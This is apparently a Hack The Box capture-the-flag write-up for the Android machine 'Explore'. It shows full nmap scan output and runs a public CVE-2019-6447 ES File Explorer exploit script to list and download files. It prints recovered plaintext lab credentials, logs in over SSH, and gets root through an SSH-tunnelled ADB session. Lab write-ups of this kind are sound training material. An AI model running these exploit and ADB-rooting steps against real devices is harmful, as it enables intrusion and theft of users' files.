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Hackthebox - Explore

  • Android

Nmap

┌─[gabrielle@parrot]─[~]
└──╼ $sudo nmap -T4 -sC -sV -O -Pn -p- 10.10.10.247
[sudo] password for gabrielle: 
Starting Nmap 7.92 ( https://nmap.org ) at 2023-02-04 11:26 EST
Nmap scan report for 10.10.10.247
Host is up (0.027s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE    SERVICE VERSION
2222/tcp  open     ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-SSH Server - Banana Studio
| ssh-hostkey: 
|_  2048 71:90:e3:a7:c9:5d:83:66:34:88:3d:eb:b4:c7:88:fb (RSA)
5555/tcp  filtered freeciv
37827/tcp open     unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 04 Feb 2023 16:27:03 GMT
|     Content-Length: 22
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line:
|   GetRequest: 
|     HTTP/1.1 412 Precondition Failed
|     Date: Sat, 04 Feb 2023 16:27:03 GMT
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.0 501 Not Implemented
|     Date: Sat, 04 Feb 2023 16:27:08 GMT
|     Content-Length: 29
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Method not supported: OPTIONS
|   Help: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 04 Feb 2023 16:27:23 GMT
|     Content-Length: 26
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: HELP
|   RTSPRequest: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 04 Feb 2023 16:27:08 GMT
|     Content-Length: 39
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     valid protocol version: RTSP/1.0
|   SSLSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 04 Feb 2023 16:27:23 GMT
|     Content-Length: 73
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ?G???,???`~?
|     ??{????w????<=?o?
|   TLSSessionReq: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 04 Feb 2023 16:27:23 GMT
|     Content-Length: 71
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|     ??random1random2random3random4
|   TerminalServerCookie: 
|     HTTP/1.0 400 Bad Request
|     Date: Sat, 04 Feb 2023 16:27:23 GMT
|     Content-Length: 54
|     Content-Type: text/plain; charset=US-ASCII
|     Connection: Close
|     Invalid request line: 
|_    Cookie: mstshash=nmap
42135/tcp open     http    ES File Explorer Name Response httpd
|_http-title: Site doesn't have a title (text/html).
59777/tcp open     http    Bukkit JSONAPI httpd for Minecraft game server 3.6.0 or older
|_http-title: Site doesn't have a title (text/plain).
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2222-TCP:V=7.92%I=7%D=2/4%Time=63DE8756%P=x86_64-pc-linux-gnu%r(NUL
SF:L,24,"SSH-2\.0-SSH\x20Server\x20-\x20Banana\x20Studio\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port37827-TCP:V=7.92%I=7%D=2/4%Time=63DE8755%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,AA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sat,\x200
SF:4\x20Feb\x202023\x2016:27:03\x20GMT\r\nContent-Length:\x2022\r\nContent
SF:-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r
SF:\nInvalid\x20request\x20line:\x20")%r(GetRequest,5C,"HTTP/1\.1\x20412\x
SF:20Precondition\x20Failed\r\nDate:\x20Sat,\x2004\x20Feb\x202023\x2016:27
SF::03\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,B5,"HTTP/1\.
SF:0\x20501\x20Not\x20Implemented\r\nDate:\x20Sat,\x2004\x20Feb\x202023\x2
SF:016:27:08\x20GMT\r\nContent-Length:\x2029\r\nContent-Type:\x20text/plai
SF:n;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nMethod\x20not\x20
SF:supported:\x20OPTIONS")%r(RTSPRequest,BB,"HTTP/1\.0\x20400\x20Bad\x20Re
SF:quest\r\nDate:\x20Sat,\x2004\x20Feb\x202023\x2016:27:08\x20GMT\r\nConte
SF:nt-Length:\x2039\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\
SF:nConnection:\x20Close\r\n\r\nNot\x20a\x20valid\x20protocol\x20version:\
SF:x20\x20RTSP/1\.0")%r(Help,AE,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDat
SF:e:\x20Sat,\x2004\x20Feb\x202023\x2016:27:23\x20GMT\r\nContent-Length:\x
SF:2026\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:
SF:\x20Close\r\n\r\nInvalid\x20request\x20line:\x20HELP")%r(SSLSessionReq,
SF:DD,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sat,\x2004\x20Feb\x2
SF:02023\x2016:27:23\x20GMT\r\nContent-Length:\x2073\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\nInvalid\x
SF:20request\x20line:\x20\x16\x03\0\0S\x01\0\0O\x03\0\?G\?\?\?,\?\?\?`~\?\
SF:0\?\?{\?\?\?\?w\?\?\?\?<=\?o\?\x10n\0\0\(\0\x16\0\x13\0")%r(TerminalSer
SF:verCookie,CA,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDate:\x20Sat,\x2004
SF:\x20Feb\x202023\x2016:27:23\x20GMT\r\nContent-Length:\x2054\r\nContent-
SF:Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection:\x20Close\r\n\r\
SF:nInvalid\x20request\x20line:\x20\x03\0\0\*%\?\0\0\0\0\0Cookie:\x20mstsh
SF:ash=nmap")%r(TLSSessionReq,DB,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nDa
SF:te:\x20Sat,\x2004\x20Feb\x202023\x2016:27:23\x20GMT\r\nContent-Length:\
SF:x2071\r\nContent-Type:\x20text/plain;\x20charset=US-ASCII\r\nConnection
SF::\x20Close\r\n\r\nInvalid\x20request\x20line:\x20\x16\x03\0\0i\x01\0\0e
SF:\x03\x03U\x1c\?\?random1random2random3random4\0\0\x0c\0/\0");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=2/4%OT=2222%CT=1%CU=34246%PV=Y%DS=2%DC=I%G=Y%TM=63DE87
OS:C0%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=FE%GCD=1%ISR=10E%TI=Z%CI=Z%TS=A)OPS(O1=M539ST11NW6%O2=M539ST11NW6%O3
OS:=M539NNT11NW6%O4=M539ST11NW6%O5=M539ST11NW6%O6=M539ST11)WIN(W1=FFFF%W2=F
OS:FFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)ECN(R=Y%DF=Y%T=40%W=FFFF%O=M539NNSNW
OS:6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF
OS:=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=
OS:%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=
OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RI
OS:PCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Device: phone

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 136.00 seconds

Port 2222

  • If we lookup for exploit for this specific Banana studio ssh service, we find this exploit. Seems to have been made for this specific box. So I will not use it. Plus it seems to require a password for ssh authentication so not really useful anyway.

Port 5555

If we search about this port, it turns out to be adb service. We can find out more about it here. Let's install adb if we do not have it yet sudo apt install android-tools-adb

  • adb connect 10.10.10.247:5555

  • Kinda stuck here so moving to another port

ES File explorer

  • This one is an http port. Let's look it up and see if we find anything.

  • We find this exploit

  • Looking at the code we can see we have the following commands for the exploit

    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")

  • So I tried the following commands (output is stripped for more readability)

┌─[gabrielle@parrot]─[~/Documents/explore]
└──╼ $python3 exploit2.py listFiles 10.10.10.247

[STRIPPED]

┌─[gabrielle@parrot]─[~/Documents/explore]
└──╼ $python3 exploit2.py getDeviceInfo 10.10.10.247

[STRIPPED]

name : VMware Virtual Platform
ftpRoot : /sdcard
ftpPort : 3721

┌─[gabrielle@parrot]─[~/Documents/explore]
└──╼ $python3 exploit2.py listApps 10.10.10.247

[STRIPPED]

┌─[gabrielle@parrot]─[~/Documents/explore]
└──╼ $python3 exploit2.py listAppsPhone 10.10.10.247

[STRIPPED]

┌─[gabrielle@parrot]─[~/Documents/explore]
└──╼ $python3 exploit2.py listPics 10.10.10.247

==================================================================
|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |
|                Coded By : Nehal a.k.a PwnerSec                 |
==================================================================

name : concept.jpg
time : 4/21/21 02:38:08 AM
location : /storage/emulated/0/DCIM/concept.jpg
size : 135.33 KB (138,573 Bytes)

name : anc.png
time : 4/21/21 02:37:50 AM
location : /storage/emulated/0/DCIM/anc.png
size : 6.24 KB (6,392 Bytes)

name : creds.jpg
time : 4/21/21 02:38:18 AM
location : /storage/emulated/0/DCIM/creds.jpg
size : 1.14 MB (1,200,401 Bytes)

name : 224_anc.png
time : 4/21/21 02:37:21 AM
location : /storage/emulated/0/DCIM/224_anc.png
size : 124.88 KB (127,876 Bytes)

  • Bingo here! we have a creds.jpg image. Let's download it

  • mv out.dat creds.jpg we rename the outfile xdg-open creds.jpg we open it

And we get a password along with a user name. kristi:Kr1sT!5h@Rp3xPl0r3!

  • ssh kristi@10.10.10.247 -P 2222 let's try to ssh with the creds provided

  • It works

  • We can find the user find in sdcard

Privilege escalation

  • Let's make an ssh tunnel ssh -NL 5556:localhost:5554 -L 5557:localhost:5555 -p 2222 kristi@10.10.10.247 this way we can use adb through this tunnel (I followed this tutorial for the setup)

  • In another tab we run killall adb

  • and then adb devices we see our target is listed

  • Now let's try to root with adb root it works

  • Let's search the root flag find / -type f -name "root.txt" 2>/dev/null

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